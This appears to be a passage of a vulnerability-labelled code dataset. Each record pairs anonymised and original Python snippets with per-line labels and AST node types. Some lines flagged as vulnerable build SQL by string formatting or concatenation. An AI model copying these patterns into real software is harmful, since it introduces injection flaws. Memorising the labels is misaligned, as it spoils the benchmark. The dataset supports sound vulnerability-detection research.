lines
sequencelengths
1
444
raw_lines
sequencelengths
1
444
label
sequencelengths
1
444
type
sequencelengths
1
444
[ "def FUNC_34(VAR_39):...\n", "self.fail()\n" ]
[ "def release(self2):...\n", "self.fail()\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Expr'" ]
[ "def FUNC_6(self, VAR_7):...\n", "VAR_8 = self.content\n", "while VAR_8:\n", "yield VAR_8[:VAR_7]\n", "VAR_8 = VAR_8[VAR_7:]\n" ]
[ "def iter_content(self, chunk_size):...\n", "c = self.content\n", "while c:\n", "yield c[:chunk_size]\n", "c = c[chunk_size:]\n" ]
[ 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Condition", "Expr'", "Assign'" ]
[ "def FUNC_18(self):...\n", "\"\"\"docstring\"\"\"\n", "VAR_7, VAR_12 = self.make_xsrf_handling_app(VAR_4='tok')\n", "VAR_17 = VAR_7.get('/request').body\n", "VAR_7.post('/request', {'tok': VAR_17})\n", "self.assertEqual([('POST', True)], VAR_12)\n" ]
[ "def test_xsrf_token_uses_xsrf_token_request_param(self):...\n", "\"\"\"docstring\"\"\"\n", "app, calls = self.make_xsrf_handling_app(xsrf_token_request_param='tok')\n", "token = app.get('/request').body\n", "app.post('/request', {'tok': token})\n", "self.assertEqual([('POST', True)], calls)\n" ]
[ 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Assign'", "Assign'", "Expr'", "Expr'" ]
[ "def FUNC_4(self, *VAR_4, **VAR_6):...\n", "\"\"\"docstring\"\"\"\n", "for VAR_9 in VAR_4:\n", "self._set_inoutput_item(VAR_9)\n", "for VAR_10, VAR_9 in VAR_6.items():\n", "self._set_inoutput_item(VAR_9, VAR_10=name)\n" ]
[ "def set_input(self, *input, **kwinput):...\n", "\"\"\"docstring\"\"\"\n", "for item in input:\n", "self._set_inoutput_item(item)\n", "for name, item in kwinput.items():\n", "self._set_inoutput_item(item, name=name)\n" ]
[ 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "For", "Expr'", "For", "Expr'" ]
[ "@VAR_0.route('/')...\n", "if VAR_2 is None:\n", "return render_template('browse.html', VAR_7=get_subjects())\n", "VAR_19 = FUNC_2(VAR_2)\n", "return render_template('articles.html', VAR_19=articles, VAR_2=subject)\n" ]
[ "@application.route('/')...\n", "if subject is None:\n", "return render_template('browse.html', subjects=get_subjects())\n", "articles = get_articles_by_subject(subject)\n", "return render_template('articles.html', articles=articles, subject=subject)\n" ]
[ 0, 0, 4, 0, 0 ]
[ "Condition", "Condition", "Return'", "Assign'", "Return'" ]
[ "def __call__(self, VAR_2, VAR_3, VAR_4=None):...\n", "VAR_56 = self.rollex_all.match(VAR_3)\n", "if not VAR_56:\n", "self.reply(VAR_2, 'usage: XdY rolls a dY X times')\n", "VAR_57 = []\n", "return\n", "VAR_58 = VAR_56.group(1)\n", "for VAR_82 in self.rollex.finditer(VAR_58):\n", "if len(VAR_57) > 4000:\n", "VAR_59 = VAR_56.group(9)\n", "self._too_much()\n", "VAR_15, VAR_100 = VAR_82.groups()\n", "VAR_60 = VAR_56.group(8)\n", "return\n", "VAR_15 = int(VAR_15) if VAR_15 else 1\n", "VAR_61 = ''\n", "VAR_100 = int(VAR_100)\n", "print(repr(VAR_59))\n", "if VAR_15 < 1:\n", "if VAR_59:\n", "self.reply(VAR_2, 'thats not a reasonable count: {}'.format(VAR_15))\n", "if VAR_100 <= 1:\n", "VAR_59 = int(VAR_59)\n", "self.reply(VAR_2, 'results: {}, sum = {}{}'.format(' '.join('{}'.format(\n result) for result in VAR_57), sum(VAR_57), VAR_61))\n", "return\n", "self.reply(VAR_2, 'thats not a reasonable die: {}'.format(VAR_100))\n", "if VAR_15 > 1000 or len(VAR_57) > 1000:\n", "if VAR_59 >= sum(VAR_57):\n", "return\n", "self._too_much(VAR_2)\n", "VAR_57.extend(random.randint(1, VAR_100) for i in range(VAR_15))\n", "VAR_61 = ': passed'\n", "VAR_61 = ': failed'\n", "return\n" ]
[ "def __call__(self, msg, arguments, errorSink=None):...\n", "matched = self.rollex_all.match(arguments)\n", "if not matched:\n", "self.reply(msg, 'usage: XdY rolls a dY X times')\n", "results = []\n", "return\n", "die = matched.group(1)\n", "for match in self.rollex.finditer(die):\n", "if len(results) > 4000:\n", "against = matched.group(9)\n", "self._too_much()\n", "count, dice = match.groups()\n", "each = matched.group(8)\n", "return\n", "count = int(count) if count else 1\n", "suffix = ''\n", "dice = int(dice)\n", "print(repr(against))\n", "if count < 1:\n", "if against:\n", "self.reply(msg, 'thats not a reasonable count: {}'.format(count))\n", "if dice <= 1:\n", "against = int(against)\n", "self.reply(msg, 'results: {}, sum = {}{}'.format(' '.join('{}'.format(\n result) for result in results), sum(results), suffix))\n", "return\n", "self.reply(msg, 'thats not a reasonable die: {}'.format(dice))\n", "if count > 1000 or len(results) > 1000:\n", "if against >= sum(results):\n", "return\n", "self._too_much(msg)\n", "results.extend(random.randint(1, dice) for i in range(count))\n", "suffix = ': passed'\n", "suffix = ': failed'\n", "return\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Condition", "Expr'", "Assign'", "Return'", "Assign'", "For", "Condition", "Assign'", "Expr'", "Assign'", "Assign'", "Return'", "Assign'", "Assign'", "Assign'", "Expr'", "Condition", "Condition", "Expr'", "Condition", "Assign'", "Expr'", "Return'", "Expr'", "Condition", "Condition", "Return'", "Expr'", "Expr'", "Assign'", "Assign'", "Return'" ]
[ "def __init__(self, VAR_1, VAR_2=None):...\n", "if isinstance(VAR_1, CLASS_3):\n", "for attr in ('_r_item_', '_r_is_multi_item_', '_r_raise_'):\n", "self._r_item_ = VAR_1\n", "setattr(self, attr, getattr(VAR_1, attr))\n", "self._r_path_ = CLASS_1(VAR_1._r_item_, VAR_1._r_path_)\n", "self._r_path_ = CLASS_1(self._r_item_)\n", "if VAR_2 is not None:\n", "self._r_raise_ = bool(VAR_2)\n" ]
[ "def __init__(self, item, _raise=None):...\n", "if isinstance(item, Roamer):\n", "for attr in ('_r_item_', '_r_is_multi_item_', '_r_raise_'):\n", "self._r_item_ = item\n", "setattr(self, attr, getattr(item, attr))\n", "self._r_path_ = _Path(item._r_item_, item._r_path_)\n", "self._r_path_ = _Path(self._r_item_)\n", "if _raise is not None:\n", "self._r_raise_ = bool(_raise)\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Condition", "For", "Assign'", "Expr'", "Assign'", "Assign'", "Condition", "Assign'" ]
[ "def FUNC_2(VAR_4, VAR_10, VAR_11, VAR_12=None, VAR_9=None):...\n", "VAR_16 = collect_config.collect_config(VAR_4, VAR_9)\n", "VAR_23 = VAR_10.split('.')\n", "for VAR_10 in VAR_23:\n", "value_types.ensure_type(str(VAR_16), VAR_11)\n", "VAR_16 = VAR_16[VAR_10]\n", "if VAR_12 is not None:\n", "print(str(VAR_16))\n", "print(str(VAR_12))\n", "return\n" ]
[ "def print_key(config_path, key, type_name, default=None, fallback_metadata=None...\n", "config = collect_config.collect_config(config_path, fallback_metadata)\n", "keys = key.split('.')\n", "for key in keys:\n", "value_types.ensure_type(str(config), type_name)\n", "config = config[key]\n", "if default is not None:\n", "print(str(config))\n", "print(str(default))\n", "return\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Assign'", "For", "Expr'", "Assign'", "Condition", "Expr'", "Expr'", "Return'" ]
[ "def __eq__(self, VAR_24):...\n", "if isinstance(VAR_24, type(self)):\n", "return self.cname == VAR_24.cname and self.pname == VAR_24.pname and self.ename == VAR_24.ename\n", "if isinstance(VAR_24, executors.TestCase):\n", "return self.cname == VAR_24.check.name and self.pname == VAR_24.partition.fullname and self.ename == VAR_24.environ.name\n", "return NotImplemented\n" ]
[ "def __eq__(self, other):...\n", "if isinstance(other, type(self)):\n", "return self.cname == other.cname and self.pname == other.pname and self.ename == other.ename\n", "if isinstance(other, executors.TestCase):\n", "return self.cname == other.check.name and self.pname == other.partition.fullname and self.ename == other.environ.name\n", "return NotImplemented\n" ]
[ 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Condition", "Return'", "Condition", "Return'", "Return'" ]
[ "def FUNC_2(VAR_0):...\n", "VAR_2 = []\n", "VAR_3 = FUNC_4(VAR_0)\n", "VAR_4 = FUNC_3(VAR_0)\n", "for item in VAR_3:\n", "if VAR_4.get(item.name):\n", "return VAR_2\n", "VAR_9 = VAR_4[item.name]\n", "VAR_10 = {'item_group': item.item_group, 'item': item.name, 'item_name':\n item.item_name}\n", "if VAR_9.days_since_last_order > cint(VAR_0['days']):\n", "VAR_2.append(VAR_10)\n", "VAR_10 = {'territory': VAR_9.territory, 'item_group': VAR_9.item_group,\n 'item': VAR_9.name, 'item_name': VAR_9.item_name, 'customer': VAR_9.\n customer, 'last_order_date': VAR_9.last_order_date, 'qty': VAR_9.qty,\n 'days_since_last_order': VAR_9.days_since_last_order}\n", "VAR_2.append(VAR_10)\n" ]
[ "def get_data(filters):...\n", "data = []\n", "items = get_items(filters)\n", "sales_invoice_data = get_sales_details(filters)\n", "for item in items:\n", "if sales_invoice_data.get(item.name):\n", "return data\n", "item_obj = sales_invoice_data[item.name]\n", "row = {'item_group': item.item_group, 'item': item.name, 'item_name': item.\n item_name}\n", "if item_obj.days_since_last_order > cint(filters['days']):\n", "data.append(row)\n", "row = {'territory': item_obj.territory, 'item_group': item_obj.item_group,\n 'item': item_obj.name, 'item_name': item_obj.item_name, 'customer':\n item_obj.customer, 'last_order_date': item_obj.last_order_date, 'qty':\n item_obj.qty, 'days_since_last_order': item_obj.days_since_last_order}\n", "data.append(row)\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Assign'", "Assign'", "For", "Condition", "Return'", "Assign'", "Assign'", "Condition", "Expr'", "Assign'", "Expr'" ]
[ "def FUNC_23(VAR_31, VAR_32, VAR_3, VAR_33, VAR_34=apply_wildcards, VAR_35=None...\n", "for VAR_10, VAR_9 in VAR_32.allitems():\n", "VAR_48 = len(VAR_31)\n", "VAR_49 = True\n", "if callable(VAR_9):\n", "if not_iterable(VAR_9):\n", "VAR_9 = VAR_9(VAR_33)\n", "if not_iterable(VAR_9):\n", "VAR_9 = [VAR_9]\n", "for item_ in VAR_9:\n", "VAR_9 = [VAR_9]\n", "for item_ in VAR_9:\n", "VAR_49 = False\n", "VAR_53 = VAR_34(item_, VAR_3)\n", "if VAR_10:\n", "VAR_49 = False\n", "if not isinstance(item_, str):\n", "VAR_31.append(VAR_53)\n", "VAR_31.set_name(VAR_10, VAR_48, end=len(newitems) if is_iterable else None)\n", "VAR_53 = VAR_34(item_, VAR_3)\n", "if VAR_35 is not None:\n", "VAR_31.append(VAR_53)\n", "VAR_35[VAR_53] = item_\n", "if VAR_35 is not None:\n", "VAR_35[VAR_53] = item_\n" ]
[ "def _apply_wildcards(newitems, olditems, wildcards, wildcards_obj,...\n", "for name, item in olditems.allitems():\n", "start = len(newitems)\n", "is_iterable = True\n", "if callable(item):\n", "if not_iterable(item):\n", "item = item(wildcards_obj)\n", "if not_iterable(item):\n", "item = [item]\n", "for item_ in item:\n", "item = [item]\n", "for item_ in item:\n", "is_iterable = False\n", "concrete = concretize(item_, wildcards)\n", "if name:\n", "is_iterable = False\n", "if not isinstance(item_, str):\n", "newitems.append(concrete)\n", "newitems.set_name(name, start, end=len(newitems) if is_iterable else None)\n", "concrete = concretize(item_, wildcards)\n", "if ruleio is not None:\n", "newitems.append(concrete)\n", "ruleio[concrete] = item_\n", "if ruleio is not None:\n", "ruleio[concrete] = item_\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "Condition", "For", "Assign'", "Assign'", "Condition", "Condition", "Assign'", "Condition", "Assign'", "For", "Assign'", "For", "Assign'", "Assign'", "Condition", "Assign'", "Condition", "Expr'", "Expr'", "Assign'", "Condition", "Expr'", "Assign'", "Condition", "Assign'" ]
[ "def __init__(self, *VAR_3, **VAR_4):...\n", "super(CLASS_1, self).__init__(*VAR_3, **kwargs)\n" ]
[ "def __init__(self, *args, **kwargs):...\n", "super(SanISCSIDriver, self).__init__(*args, **kwargs)\n" ]
[ 0, 0 ]
[ "FunctionDef'", "Expr'" ]
[ "def FUNC_2(self, VAR_2):...\n", "\"\"\"docstring\"\"\"\n", "if self.mode != ray.WORKER_MODE:\n", "if VAR_2.startswith(b'FunctionsToRun'):\n", "if VAR_2.startswith(b'RemoteFunction'):\n", "self.fetch_and_execute_function_to_run(VAR_2)\n", "return\n", "self.worker.function_actor_manager.fetch_and_register_remote_function(VAR_2)\n", "if VAR_2.startswith(b'FunctionsToRun'):\n", "self.fetch_and_execute_function_to_run(VAR_2)\n", "if VAR_2.startswith(b'ActorClass'):\n", "self.worker.function_actor_manager.imported_actor_classes.add(VAR_2)\n" ]
[ "def _process_key(self, key):...\n", "\"\"\"docstring\"\"\"\n", "if self.mode != ray.WORKER_MODE:\n", "if key.startswith(b'FunctionsToRun'):\n", "if key.startswith(b'RemoteFunction'):\n", "self.fetch_and_execute_function_to_run(key)\n", "return\n", "self.worker.function_actor_manager.fetch_and_register_remote_function(key)\n", "if key.startswith(b'FunctionsToRun'):\n", "self.fetch_and_execute_function_to_run(key)\n", "if key.startswith(b'ActorClass'):\n", "self.worker.function_actor_manager.imported_actor_classes.add(key)\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Condition", "Condition", "Condition", "Expr'", "Return'", "Expr'", "Condition", "Expr'", "Condition", "Expr'" ]
[ "def FUNC_11(self):...\n", "VAR_20 = []\n", "VAR_18 = threading.Event()\n", "self.mock(VAR_18, 'wait', self.fail)\n", "self.mock(bot_main, 'run_manifest', self.fail)\n", "self.mock(bot_main, 'update_bot', lambda *VAR_24: VAR_20.append(VAR_24))\n", "self.expected_requests([(\n 'https://localhost:1/auth/api/v1/accounts/self/xsrf_token', {'data': {},\n 'headers': {'X-XSRF-Token-Request': '1'}}, {'xsrf_token': 'token'}), (\n 'https://localhost:1/swarming/api/v1/bot/poll', {'data': self.\n attributes, 'headers': {'X-XSRF-Token': 'token'}}, {'cmd': 'update',\n 'version': '123'})])\n", "self.assertTrue(bot_main.poll_server(self.bot, VAR_18))\n", "self.assertEqual([(self.bot, '123')], VAR_20)\n" ]
[ "def test_poll_server_update(self):...\n", "update = []\n", "bit = threading.Event()\n", "self.mock(bit, 'wait', self.fail)\n", "self.mock(bot_main, 'run_manifest', self.fail)\n", "self.mock(bot_main, 'update_bot', lambda *args: update.append(args))\n", "self.expected_requests([(\n 'https://localhost:1/auth/api/v1/accounts/self/xsrf_token', {'data': {},\n 'headers': {'X-XSRF-Token-Request': '1'}}, {'xsrf_token': 'token'}), (\n 'https://localhost:1/swarming/api/v1/bot/poll', {'data': self.\n attributes, 'headers': {'X-XSRF-Token': 'token'}}, {'cmd': 'update',\n 'version': '123'})])\n", "self.assertTrue(bot_main.poll_server(self.bot, bit))\n", "self.assertEqual([(self.bot, '123')], update)\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Assign'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'", "Expr'" ]
[ "def FUNC_31(self, VAR_21):...\n", "\"\"\"docstring\"\"\"\n", "return VAR_21\n" ]
[ "def realpath(self, path):...\n", "\"\"\"docstring\"\"\"\n", "return path\n" ]
[ 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Return'" ]
[ "def FUNC_14(self):...\n", "VAR_6 = StudentGroup(course_instance=self.current_course_instance)\n", "VAR_6.save()\n", "VAR_6.members.add(self.user.userprofile, self.grader.userprofile)\n", "self.assertEqual(StudentGroup.get_exact(self.current_course_instance, [self\n .user.userprofile, self.grader.userprofile]), VAR_6)\n", "self.assertEqual(StudentGroup.get_exact(self.current_course_instance, [self\n .user.userprofile, self.superuser.userprofile]), None)\n" ]
[ "def test_groups(self):...\n", "group = StudentGroup(course_instance=self.current_course_instance)\n", "group.save()\n", "group.members.add(self.user.userprofile, self.grader.userprofile)\n", "self.assertEqual(StudentGroup.get_exact(self.current_course_instance, [self\n .user.userprofile, self.grader.userprofile]), group)\n", "self.assertEqual(StudentGroup.get_exact(self.current_course_instance, [self\n .user.userprofile, self.superuser.userprofile]), None)\n" ]
[ 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Expr'", "Expr'", "Expr'", "Expr'" ]
[ "def FUNC_37(self, VAR_40):...\n", "\"\"\"docstring\"\"\"\n", "self.set_name(VAR_40, len(self) - 1)\n" ]
[ "def add_name(self, name):...\n", "\"\"\"docstring\"\"\"\n", "self.set_name(name, len(self) - 1)\n" ]
[ 0, 0, 0 ]
[ "FunctionDef'", "Docstring", "Expr'" ]
[ "def FUNC_5(self, VAR_10):...\n", "VAR_21 = self.table_view.selectedIndexes()\n", "if not VAR_21:\n", "return\n", "self.torrents_container.details_container.show()\n", "VAR_22 = VAR_21[0].model().data_items[VAR_21[0].row()]\n", "self.torrents_container.details_tab_widget.update_with_torrent(VAR_21[0],\n VAR_22)\n" ]
[ "def _on_selection_changed(self, _):...\n", "selected_indices = self.table_view.selectedIndexes()\n", "if not selected_indices:\n", "return\n", "self.torrents_container.details_container.show()\n", "torrent_info = selected_indices[0].model().data_items[selected_indices[0].row()\n ]\n", "self.torrents_container.details_tab_widget.update_with_torrent(selected_indices\n [0], torrent_info)\n" ]
[ 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Assign'", "Condition", "Return'", "Expr'", "Assign'", "Expr'" ]
[ "def FUNC_4(self, VAR_16, VAR_17, VAR_18):...\n", "self.log.debug('Binding %s,%s route', VAR_16, VAR_17)\n", "def FUNC_23(VAR_33, VAR_13, VAR_20, VAR_21, VAR_12):...\n", "if VAR_21 == wzrpc.status.success:\n", "self.wz.set_req_handler(VAR_16, VAR_17, VAR_18)\n", "if VAR_21 == wzrpc.status.e_req_denied:\n", "self.log.debug('Succesfully binded route (%s, %s)', VAR_16, VAR_17)\n", "self.log.warn('Status {0}, reauthentificating'.format(wzrpc.name_status(\n VAR_21)))\n", "if wzrpc.status.e_timeout:\n", "return self.wz_wait_reply(FUNC_23, *self.wz.make_auth_bind_route_data(\n VAR_16, VAR_17, wzauth_data.bind_route[VAR_16, VAR_17]))\n", "self.auth_requests()\n", "self.log.warn('Timeout {0}, retrying'.format(VAR_12[0]))\n", "self.log.warn('Status {0}, retrying'.format(wzrpc.name_status(VAR_21)))\n", "VAR_33.retry = True\n", "VAR_33.retry = True\n" ]
[ "def bind_route(self, i, m, f):...\n", "self.log.debug('Binding %s,%s route', i, m)\n", "def accept(that, reqid, seqnum, status, data):...\n", "if status == wzrpc.status.success:\n", "self.wz.set_req_handler(i, m, f)\n", "if status == wzrpc.status.e_req_denied:\n", "self.log.debug('Succesfully binded route (%s, %s)', i, m)\n", "self.log.warn('Status {0}, reauthentificating'.format(wzrpc.name_status(\n status)))\n", "if wzrpc.status.e_timeout:\n", "return self.wz_wait_reply(accept, *self.wz.make_auth_bind_route_data(i, m,\n wzauth_data.bind_route[i, m]))\n", "self.auth_requests()\n", "self.log.warn('Timeout {0}, retrying'.format(data[0]))\n", "self.log.warn('Status {0}, retrying'.format(wzrpc.name_status(status)))\n", "that.retry = True\n", "that.retry = True\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Expr'", "FunctionDef'", "Condition", "Expr'", "Condition", "Expr'", "Expr'", "Condition", "Return'", "Expr'", "Expr'", "Expr'", "Assign'", "Assign'" ]
[ "def FUNC_8(self, VAR_18):...\n", "\"\"\"docstring\"\"\"\n", "if not VAR_18.isdigit():\n", "return CLASS_0.INVALID_ID\n", "VAR_19 = self.__con.cursor()\n", "return CLASS_0.SUCCESS if VAR_19.execute(\n 'DELETE FROM tasks WHERE taskid=%d' % int(VAR_18)\n ) else CLASS_0.DOES_NOT_EXIST\n" ]
[ "def delete_task(self, taskid):...\n", "\"\"\"docstring\"\"\"\n", "if not taskid.isdigit():\n", "return Database.INVALID_ID\n", "cur = self.__con.cursor()\n", "return Database.SUCCESS if cur.execute('DELETE FROM tasks WHERE taskid=%d' %\n int(taskid)) else Database.DOES_NOT_EXIST\n" ]
[ 0, 0, 0, 0, 0, 2 ]
[ "FunctionDef'", "Docstring", "Condition", "Return'", "Assign'", "Return'" ]
[ "def FUNC_1(VAR_2: HttpRequest, VAR_3: str):...\n", "VAR_5: str = VAR_3\n", "if VAR_2.GET.get('redirect'):\n", "VAR_5 = VAR_2.GET['redirect']\n", "VAR_5 = '/admin'\n", "if 'rid' not in VAR_2.GET:\n", "return HttpResponseRedirect(\n '/admin?error=Missing%20reservation%20id%20in%20request')\n", "u: Profile = get_current_user(VAR_2)\n", "VAR_4 = GroupReservation.objects.get(id=str(request.GET['rid']))\n", "if VAR_4.createdByUser != u and u.rights < 2:\n", "return HttpResponseRedirect('/admin?error=noyb')\n", "if VAR_4.submitted == True:\n", "return HttpResponseRedirect('/admin?error=Already%20submitted')\n", "if 'article_id' in VAR_2.POST:\n", "aid: int = int(VAR_2.GET.get('article_id'))\n", "if 'group_id' not in VAR_2.GET:\n", "quantity: int = int(VAR_2.POST['quantity'])\n", "return HttpResponseRedirect('/admin?error=missing%20group%20id')\n", "g: ArticleGroup = ArticleGroup.objects.get(id=int(request.GET['group_id']))\n", "notes: str = VAR_2.POST['notes']\n", "for art in Article.objects.all().filter(group=g):\n", "VAR_6 = ArticleRequested()\n", "if str('quantity_' + str(art.id)) not in VAR_2.POST or str('notes_' + str(\n", "if 'srid' in VAR_2.GET:\n", "VAR_6.AID = Article.objects.get(id=aid)\n", "return HttpResponseRedirect(\n '/admin?error=Missing%20article%20data%20in%20request')\n", "VAR_9 = int(VAR_2.POST['quantity_' + str(art.id)])\n", "VAR_7 = HttpResponseRedirect(VAR_5 + '?rid=' + str(VAR_4.id) + '&srid=' +\n VAR_2.GET['srid'])\n", "VAR_7 = HttpResponseRedirect(VAR_5 + '?rid=' + str(VAR_4.id))\n", "VAR_6.RID = VAR_4\n", "if VAR_9 > 0:\n", "return VAR_7\n", "if 'srid' in VAR_2.GET:\n", "VAR_6 = ArticleRequested()\n", "VAR_6.SRID = SubReservation.objects.get(id=int(request.GET['srid']))\n", "VAR_6.amount = quantity\n", "VAR_6.AID = art\n", "VAR_6.notes = notes\n", "VAR_6.RID = VAR_4\n", "VAR_6.save()\n", "VAR_6.amount = VAR_9\n", "if 'srid' in VAR_2.GET:\n", "VAR_6.SRID = SubReservation.objects.get(id=int(request.GET['srid']))\n", "VAR_6.notes = str(VAR_2.POST[str('notes_' + str(art.id))])\n", "VAR_6.save()\n" ]
[ "def add_article_action(request: HttpRequest, default_foreward_url: str):...\n", "forward_url: str = default_foreward_url\n", "if request.GET.get('redirect'):\n", "forward_url = request.GET['redirect']\n", "forward_url = '/admin'\n", "if 'rid' not in request.GET:\n", "return HttpResponseRedirect(\n '/admin?error=Missing%20reservation%20id%20in%20request')\n", "u: Profile = get_current_user(request)\n", "current_reservation = GroupReservation.objects.get(id=str(request.GET['rid']))\n", "if current_reservation.createdByUser != u and u.rights < 2:\n", "return HttpResponseRedirect('/admin?error=noyb')\n", "if current_reservation.submitted == True:\n", "return HttpResponseRedirect('/admin?error=Already%20submitted')\n", "if 'article_id' in request.POST:\n", "aid: int = int(request.GET.get('article_id'))\n", "if 'group_id' not in request.GET:\n", "quantity: int = int(request.POST['quantity'])\n", "return HttpResponseRedirect('/admin?error=missing%20group%20id')\n", "g: ArticleGroup = ArticleGroup.objects.get(id=int(request.GET['group_id']))\n", "notes: str = request.POST['notes']\n", "for art in Article.objects.all().filter(group=g):\n", "ar = ArticleRequested()\n", "if str('quantity_' + str(art.id)) not in request.POST or str('notes_' + str\n", "if 'srid' in request.GET:\n", "ar.AID = Article.objects.get(id=aid)\n", "return HttpResponseRedirect(\n '/admin?error=Missing%20article%20data%20in%20request')\n", "amount = int(request.POST['quantity_' + str(art.id)])\n", "response = HttpResponseRedirect(forward_url + '?rid=' + str(\n current_reservation.id) + '&srid=' + request.GET['srid'])\n", "response = HttpResponseRedirect(forward_url + '?rid=' + str(\n current_reservation.id))\n", "ar.RID = current_reservation\n", "if amount > 0:\n", "return response\n", "if 'srid' in request.GET:\n", "ar = ArticleRequested()\n", "ar.SRID = SubReservation.objects.get(id=int(request.GET['srid']))\n", "ar.amount = quantity\n", "ar.AID = art\n", "ar.notes = notes\n", "ar.RID = current_reservation\n", "ar.save()\n", "ar.amount = amount\n", "if 'srid' in request.GET:\n", "ar.SRID = SubReservation.objects.get(id=int(request.GET['srid']))\n", "ar.notes = str(request.POST[str('notes_' + str(art.id))])\n", "ar.save()\n" ]
[ 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 3, 0 ]
[ "FunctionDef'", "AnnAssign'", "Condition", "Assign'", "Assign'", "Condition", "Return'", "AnnAssign'", "Assign'", "Condition", "Return'", "Condition", "Return'", "Condition", "AnnAssign'", "Condition", "AnnAssign'", "Return'", "AnnAssign'", "AnnAssign'", "For", "Assign'", "Condition", "Condition", "Assign'", "Return'", "Assign'", "Assign'", "Assign'", "Assign'", "Condition", "Return'", "Condition", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Assign'", "Expr'", "Assign'", "Condition", "Assign'", "Assign'", "Expr'" ]
[ "def FUNC_5(VAR_34, VAR_32, VAR_33):...\n", "print('save weeks')\n", "VAR_39 = 'meal_planner.db'\n", "VAR_50 = 'recipes_' + str(VAR_13)\n", "conn.execute('CREATE TABLE IF NOT EXISTS ' + VAR_50 +\n ' (recipe text, row int, column int)')\n", "conn.execute('INSERT INTO ' + VAR_50 + ' VALUES (?, ?, ?);', (VAR_34,\n VAR_32, VAR_33))\n" ]
[ "def save_weeks_recipes(recipeName, row, column):...\n", "print('save weeks')\n", "database_file = 'meal_planner.db'\n", "tableName = 'recipes_' + str(weekNumber)\n", "conn.execute('CREATE TABLE IF NOT EXISTS ' + tableName +\n ' (recipe text, row int, column int)')\n", "conn.execute('INSERT INTO ' + tableName + ' VALUES (?, ?, ?);', (recipeName,\n row, column))\n" ]
[ 0, 0, 0, 0, 0, 0 ]
[ "FunctionDef'", "Expr'", "Assign'", "Assign'", "Expr'", "Expr'" ]
[ "def FUNC_6(self):...\n", "\"\"\"docstring\"\"\"\n", "self.netatmo_data.update()\n", "VAR_13 = self.netatmo_data.data.get(self.module_name)\n", "if VAR_13 is None:\n", "VAR_0.warning('No data found for %s', self.module_name)\n", "if self.type == 'temperature':\n", "self._state = STATE_UNKNOWN\n", "self._state = round(VAR_13['Temperature'], 1)\n", "if self.type == 'humidity':\n", "return\n", "self._state = VAR_13['Humidity']\n", "if self.type == 'rain':\n", "self._state = VAR_13['Rain']\n", "if self.type == 'sum_rain_1':\n", "self._state = VAR_13['sum_rain_1']\n", "if self.type == 'sum_rain_24':\n", "self._state = VAR_13['sum_rain_24']\n", "if self.type == 'noise':\n", "self._state = VAR_13['Noise']\n", "if self.type == 'co2':\n", "self._state = VAR_13['CO2']\n", "if self.type == 'pressure':\n", "self._state = round(VAR_13['Pressure'], 1)\n", "if self.type == 'battery_lvl':\n", "self._state = VAR_13['battery_vp']\n", "if self.type == 'battery_vp' and self.module_id == '6':\n", "if VAR_13['battery_vp'] >= 5590:\n", "if self.type == 'battery_vp' and self.module_id == '5':\n", "self._state = 'Full'\n", "if VAR_13['battery_vp'] >= 5180:\n", "if VAR_13['battery_vp'] >= 5500:\n", "if self.type == 'battery_vp' and self.module_id == '3':\n", "self._state = 'High'\n", "if VAR_13['battery_vp'] >= 4770:\n", "self._state = 'Full'\n", "if VAR_13['battery_vp'] >= 5000:\n", "if VAR_13['battery_vp'] >= 5640:\n", "if self.type == 'battery_vp' and self.module_id == '2':\n", "self._state = 'Medium'\n", "if VAR_13['battery_vp'] >= 4360:\n", "self._state = 'High'\n", "if VAR_13['battery_vp'] >= 4500:\n", "self._state = 'Full'\n", "if VAR_13['battery_vp'] >= 5280:\n", "if VAR_13['battery_vp'] >= 5500:\n", "if self.type == 'min_temp':\n", "self._state = 'Low'\n", "if VAR_13['battery_vp'] < 4360:\n", "self._state = 'Medium'\n", "if VAR_13['battery_vp'] >= 4000:\n", "self._state = 'High'\n", "if VAR_13['battery_vp'] >= 4920:\n", "self._state = 'Full'\n", "if VAR_13['battery_vp'] >= 5000:\n", "self._state = VAR_13['min_temp']\n", "if self.type == 'max_temp':\n", "self._state = 'Very Low'\n", "self._state = 'Low'\n", "if VAR_13['battery_vp'] < 4000:\n", "self._state = 'Medium'\n", "if VAR_13['battery_vp'] >= 4560:\n", "self._state = 'High'\n", "if VAR_13['battery_vp'] >= 4500:\n", "self._state = VAR_13['max_temp']\n", "if self.type == 'windangle_value':\n", "self._state = 'Very Low'\n", "self._state = 'Low'\n", "if VAR_13['battery_vp'] < 4560:\n", "self._state = 'Medium'\n", "if VAR_13['battery_vp'] >= 4000:\n", "self._state = VAR_13['WindAngle']\n", "if self.type == 'windangle':\n", "self._state = 'Very Low'\n", "self._state = 